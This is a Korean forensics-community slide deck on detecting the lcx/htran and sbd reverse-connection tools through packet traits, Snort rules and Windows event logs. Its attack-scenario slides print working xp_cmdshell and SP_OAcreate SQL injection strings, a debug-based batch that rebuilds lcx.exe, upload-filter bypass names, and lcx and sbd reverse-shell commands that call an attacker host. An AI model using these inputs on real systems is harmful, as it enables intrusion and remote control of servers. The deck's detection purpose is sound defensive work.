(130216) #fitalk reverse connection tool analysis
TRANSCRIPT
FORENSIC INSIGHT; DIGITAL FORENSICS COMMUNITY IN KOREA
Reverse Connection Tool Analysis How to write detection pattern of attacker’s tool
malwarel4b
http://malwarel4b.blogspot.kr
http://malwarelab.tistory.com/
Cho Hoon
forensicinsight.org Page 2
INDEX
1. Attack Scenario
2. Attack Demonstration
3. Analyze lcx(aka htran) traffic
4. Analyze sbd(Shadowinteger’s Backdoor) traffic
5. Event Log
6. Reference
forensicinsight.org Page 3
Attack Scenario
- Upload Vulnerability
- SQL Injection
- EXE TO TEXT
forensicinsight.org Page 4
Attack Scenario
어떤걸 업로드하는가?
• Webshell (asp, aspx, jsp, php, inc, html, cer 등)
• bat, exe 등
업로드 되는 파일에 대한 검증 매카니즘
• Whitelist : 허용된 확장자만 업로드 가능
• Blacklist : 허용되지 않은 확장자 지정
• 웹쉘 확장자는 몇 가지 형태로 정해져 있으며 보통 Blacklist를 사용하여 차단
우회 방법 다양함 a.jpg.aps, a.jpg;a.asp, a.php.jpg
웹쉘을 차단하기 위해서 exe나 bat 확장자는 차단하지 않는 경우가 많음
• 파일의 처음 4~8바이트 정도만 확인해서 차단
파일 시그니처 (GIF39a, JFIF, %PNG 등)
Upload Vulnerability
forensicinsight.org Page 5
Attack Scenario
파일 업로드 후에는?
• 업로드 경로 찾아야 함 guessing, File download 취약점 이용
업로드 폴더에 실행 권한이 제거되어 있는 경우에는?
Upload Vulnerability
forensicinsight.org Page 6
Attack Scenario
But, 업로드 취약점만으로는 부족하다!!
• 원하는 파일 업로드도 잘 되었고
• 업로드된 파일의 경로도 찾았고
• 그럼, 실행만 시키면 된다.
웹서버를 통해 서버의 파일을 서버상에서 실행시킬려면?
• 웹쉘을 이용하는게 가장 쉽고
• SQL Injection을 이용한다.
Upload Vulnerability
forensicinsight.org Page 7
Attack Scenario
전세계적으로 가장 많이 언급되고 전세계적으로 가장 많이 보호 메커니즘을 적용하지만
여전히 취약한 사이트가 많아서 공격자들이 자주 애용하는 공격 기법
SQL Injection을 통해 시스템 명령 실행
• xp_cmdshell
MS-SQL 2005부터는 기본으로 비홗성화 그렇다고 포기할 HACKER들이 아니다!!
SP_ADDEXTENDEDPROC과 SP_CONFIGURE 프로시저를 통해 홗성화 가능
• SP_Oacreate, SP_OAMETHOD
OLE 개체의 인스턴스 생성
OLE 개체의 메쏘드 호출
SQL Injection
forensicinsight.org Page 8
Attack Scenario
xp_cmdshell 홗성화
• ; exec sp_configure 'show advanced options', 1 ; reconfigure ; exec sp_configure 'xp_cmdshell',
1 ; reconfigure;--
• ; exec master.dbo.xp_cmdshell 'system command';--
• xp_cmdshell 자체를 비홗성화하거나 삭제할 경우
http://support.microsoft.com/kb/891984/en-us
SP_OAcreate, SP_OAMETHOD
• xp_cmdshell에 대한 권한이 막혀 있거나 아예 삭제된 경우
• ;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD
@o,'run',null, 'system command';--
SQL Injection
forensicinsight.org Page 9
Attack Scenario
업로드 파일에 대한 whitelist 정책을 사용해서 파일 업로드가 앆되면?
But, SQL Injection은 된다면?
• EXE TO TEXT를 이용해서 바이너리 파일을 텍스트 형태로 만들어서 생성하거나
• Batch 파일에 공격자가 준비한 FTP를 통해 파일을 다운로드해서 실행하게 하면 된다.
EXE TO TEXT
forensicinsight.org Page 10
Attack Scenario
But, EXE TO TEXT를 통해 추출한 값을 SQL Injection으로 만드는 건 쉬운 일이 아니다.
• lcx.exe (32Kbyte)를 EXE TO TEXT로 변홖하니 2056 라인으로 변홖됨
• 즉, SQL Injection을 2056번 때려야 함 힘들고 지겨움
• 결국, Batch 파일 만들어서 다운로드하게 하는게 속 편함
변홖된 값은 임시 파일로 만든 후 debug 명령을 통해서 실행 파일로 변홖
EXE TO TEXT
echo off echo n Ashiyane > Q7X echo e 100 4D 5A 90 0 3 0 0 0 4 0 0 0 FF FF 0 0 >> Q7X echo e 110 B8 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 >> Q7X ...snip... echo e 80F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> Q7X echo e 8100 0 >> Q7X echo rcx >> Q7X echo 8000 >> Q7X echo w >> Q7X echo q >> Q7X debug <Q7X>nul & ren Ashiyane lcx.exe & lcx.exe & echo on
forensicinsight.org Page 11
Attack Demonstration
forensicinsight.org Page 12
Attack Demonstration
Attacker Side
http://victim.com/board_view.asp?num=33;exec master.dbo.xp_cmdshell
'c:\inetpub\wwwroot\upload\lcx.exe -slave 20.20.20.61 4444 127.0.0.1 3389';--
forensicinsight.org Page 13
Attack Demonstration
Connect Attacker’s another port
forensicinsight.org Page 14
Analyze lcx(aka htran) traffic
- Attack Flow
- Analyze Network Packet
- Writing Detect Pattern
forensicinsight.org Page 15
Analyze lcx(aka htran) traffic
Attack Flow
attacker> lcx -listen 4444 5555 victim> lcx -slave 10.10.10.62 4444 127.0.0.1 3389 attacker> mstsc 127.0.0.1:5555
forensicinsight.org Page 16
Analyze lcx(aka htran) traffic
공격자가 mstsc를 이용해 자신의 5555 포트로 접속하면 공격 대상의 원격 터미널과 연
결이 맺어진다.
Analyze Network Packet
forensicinsight.org Page 17
Analyze lcx(aka htran) traffic
공격자가 LISTEN Port를 3389로 지정할 경우 Wireshark에서 Port 번호를 보고 페이로
드를 파싱해서 출력해준다.
Analyze Network Packet
forensicinsight.org Page 18
Analyze lcx(aka htran) traffic
정상적인 원격 데스크탑 연결
Analyze Network Packet
forensicinsight.org Page 19
Analyze lcx(aka htran) traffic
Analyze Network Packet
lcx Reverse Connection - Window Size : 65535 - attacker:3389 victim:{random port}
Normal RDP Connection - Window Size : 8192 - attacker:{random port} victim:3389
forensicinsight.org Page 20
Analyze lcx(aka htran) traffic
정상접속과 lcx를 이용한 Reverse Connection의 차이점
• TCP Window size가 일반적인 접속과 다르다. (Window size=65535)
• Payload는 같지만 SRC Port와 DST Port가 뒤집어져 있다.
운영체제별 TTL 값과 TCP Window size
Analyze Network Packet
Operating System (OS) IP Initial TTL TCP window size
Linux (Kernel 2.4 and 2.6) 64 5840
Google’s customized Linux 64 5720
FreeBSD 64 65535
Windows XP 128 65535 -> ?????
Windows 7, Vista and Server 2008 128 8192
Cisco Router (IOS 12.4) 255 4128
<출처> http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
forensicinsight.org Page 21
Analyze lcx(aka htran) traffic
실제 테스트해보니 Windows XP의 TCP Window size가 64240이었다.
Analyze Network Packet
XP -> Linux
XP -> Win 2003
7 -> Linux
7 -> Win 2003
Win 2003 -> Linux
Win 2003 -> Win 2003
forensicinsight.org Page 22
Analyze lcx(aka htran) traffic
만약 공격자가 Windows 2003 서버를 자신의 PC에 설치해서 사용한다면?
만약 공격자가 장악한 또 다른 Windows 2003 서버에서 공격하는 것이라면?
• TCP Windows size로 탐지하는 것은 의미가 없다.
패킷의 페이로드만으로는 탐지가 불가능하다.
• Port 번호와 Flow만 다를 뿐 정상적인 TPKT, RDP 통신과 페이로드가 동일하기 때문
그럼 어떻게? How?
• 여러 가지 조건을 두고 만족하는 경우 탐지하게끔 패턴을 작성 SNORT
Writing Detect Pattern
forensicinsight.org Page 23
Analyze lcx(aka htran) traffic
lcx Reverse Connection을 탐지하기 위한 조건
• 내부 -> 외부 SYN 패킷의 Window size가 65535인 경우 (A)
• 외부 -> 내부 트래픽 중 TPKT 패킷에서 DST Port가 3389가 아닌 경우 (B)
위 두 조건이 순서대로 모두 만족할 때 탐지하면 된다.
Q. TPKT 패킷인데 DST Port가 3389가 아닌 경우가 정상일 수 있을까?
Writing Detect Pattern
forensicinsight.org Page 24
Analyze sbd(Shadowinteger’s Backdoor) traffic
- Attack Flow
- Analyze Network Packet
- Dig into Source Code
- Writing Detect Pattern
forensicinsight.org Page 25
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd는 netcat의 클론으로 기본으로 암호화 기능을 제공한다.
• 그리고 소스도 공개되어 있다.
http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html
그렇다면, Packet을 분석해서 탐지 패턴을 작성할 수 있는가?
• 작성된 패턴이 오탐 없이 의미 있는 일을 수행할 수 있는가?
• sbd를 통해 Reverse Connection 연결시 특징은 졲재하는가?
다른 네트워크 연결들과 다른 sbd만 갖는 특징이 있다면 오탐을 최소한으로 줄이고 탐지하는 것
이 가능하다.
Attack Flow
attacker> sbd -l -v -p 6666 victim> sbd -e cmd.exe attacker 6666
forensicinsight.org Page 26
Reverse Connection Traffic with sbd
Analyze sbd(Shadowinteger’s Backdoor) traffic
Analyze Network Packet
forensicinsight.org Page 27
Analyze sbd(Shadowinteger’s Backdoor) traffic
암호화 옵션을 제거하고 연결을 맺으면
Analyze Network Packet
forensicinsight.org Page 28
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd로 Reverse Connection을 맺을 경우에도 특징이 졲재했다.
대략 20번 정도 테스트했고 Windows에서만 테스트 했다.
Victim이 리눅스인 경우 위 Flow 중 4,5번째는 없다.
• 윈도우에서는 cmd.exe 실행시 나타나는 배너가 졲재하지만 /bin/bash로 reverse connection을
할 경우 배너 메시지가 없기 때문임
Analyze Network Packet
forensicinsight.org Page 29
Analyze sbd(Shadowinteger’s Backdoor) traffic
소스코드를 확인해보면 pel.c 파일에 최초 연결시 클라이언트(Victim)에서 IV(Initial
Vector)를 생성해서 전송하는데 이때 전송되는 데이터의 크기가 40bytes이다.
Dig into Source Code
forensicinsight.org Page 30
Analyze sbd(Shadowinteger’s Backdoor) traffic
서버(Attacker)는 클라이언트에게서 전송된 40bytes의 Initial Vector를 수신해서
Session Key를 설정한다.
공격자가 소스코드를 수정하지 않는 이상 전송되는 40bytes를 탐지 조건으로 사용 가능
Dig into Source Code
forensicinsight.org Page 31
Analyze sbd(Shadowinteger’s Backdoor) traffic
세션키 교홖 후 클라이언트와 서버는 Handshake 과정을 통해 연결을 맺는다.
Dig into Source Code
pel_client_init
pel_server_init
forensicinsight.org Page 32
Analyze sbd(Shadowinteger’s Backdoor) traffic
각각 52bytes씩 주고 받으며 16바이트 연산 후 나머지 데이터를 연산해서 전송
Dig into Source Code
forensicinsight.org Page 33
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd는 기본적으로 암호화 통신을 제공하며 공격자 입장에서는 상당히 매력적인 기능이
기 때문에 굳이 암호화 기능을 해제하고 사용하지 않을 것이다.
• 즉, 암호화되기 때문에 Payload로 탐지하는 것은 불가능
sbd의 가장 큰 특징은
• 3way Handshake 이후 클라이언트(Victim)에서 서버(Attacker)로 40byte의 데이터를 젂송
• 클라이언트에서 서버로 52byte 데이터 젂송
• 서버에서 클라이언트로 52byte 데이터 젂송
Writing Detect Pattern
forensicinsight.org Page 34
Analyze sbd(Shadowinteger’s Backdoor) traffic
sbd Reverse Connection을 탐지하기 위한 조건
• 3가지 조건이 순차적으로 매칭될 경우에만 탐지하도록 패턴 작성
SNORT flowbits 옵션 사용
Writing Detect Pattern
forensicinsight.org Page 35
Event Log
forensicinsight.org Page 36
Event Log
침해사고조사 관점에서 볼 경우
• lcx나 sbd 파일의 생성 시간과 웹로그 등을 확인해서 파일이 어떤 경로를 통해 업로드 또는 생성
되었는지는 확인이 가능하지만 언제 접속(Reverse Connection) 했었는지 파일만 가지고는 확인
이 불가능하다.
• lcx의 경우 원격 터미널 접속을 하기 때문에 이벤트 로그에 흔적이 남는다.
• sbd는 cmd.exe만 실행해서 Reverse Connection을 맺기 때문에 흔적이 남지 않는다.
• UserAssist나 Prefetch(App Prefetch가 설정되어 있다면)와 같은 정보를 통해 실행된 횟수나 실행
된 시간을 짐작할 수도 있다.
forensicinsight.org Page 37
Event Log
lcx를 통해 Reverse Connection을 맺을 경우
• 680 : Account Used for Logon by
• 552 : 이미 다른 사용자가 로그온한 상태에서 명시적 자격 증명을 사용해서 로그온 시도
• 528 : 로그온 성공
• 576 : 권한 부여
• 682 : 세션 재연결
• Event ID 552나 682의 경우 기졲에 연결했던 사용자가 로그오프 하지 않고 세션만 끊은 상태에
서 접속할 경우 발생되는 이벤트 로그로 실제 발생하지 않을 수도 있다.
forensicinsight.org Page 38
Event Log
Event ID 528은 로그온 성공 메시지로 로그온 유형과 원본 네트워크 주소를 확인할 수
있다.
• 로그온 유형 10은 원격으로 대화형 모드로 로그온하는 것을 의미한다. (RemoteInteractive)
• 원격에서 로그온하는데 원본네트워크주소가 로컬호스트(127.0.0.1)인 것은 이상하다.
원본네트워크주소가 127.0.0.1이라면 로그온 유형이 2이어야 한다.
forensicinsight.org Page 39
Event Log
세션을 끊거나 재연결시 발생되는 이벤트 로그에는 클라이언트 이름과 클라이언트 주소
가 남는다.
공격자가 원격 터미널 접근시 mstsc 127.0.0.1:5555와 같은 형태가 아닌 공격자 자신의
실제 IP를 사용하더라도 이벤트 로그에는 클라이언트 주소가 127.0.0.1로 로깅된다.
forensicinsight.org Page 40
Reference
Passive OS Fingerprinting
• http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
HTran(HUC Packet Transmit Tool)
• http://code.google.com/p/archive-code/source/browse/trunk/HTran/HTran.cpp?r=7
Window size 개념
• http://4network.tistory.com/entry/windowsize
Permanent Reverse Backdoor for IPhone / IPad
• http://www.coresec.org/2012/04/24/permanent-reverse-backdoor-for-iphone-ipad/
sbd-1.36.tar.gz
• http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html
forensicinsight.org Page 41
Question and Answer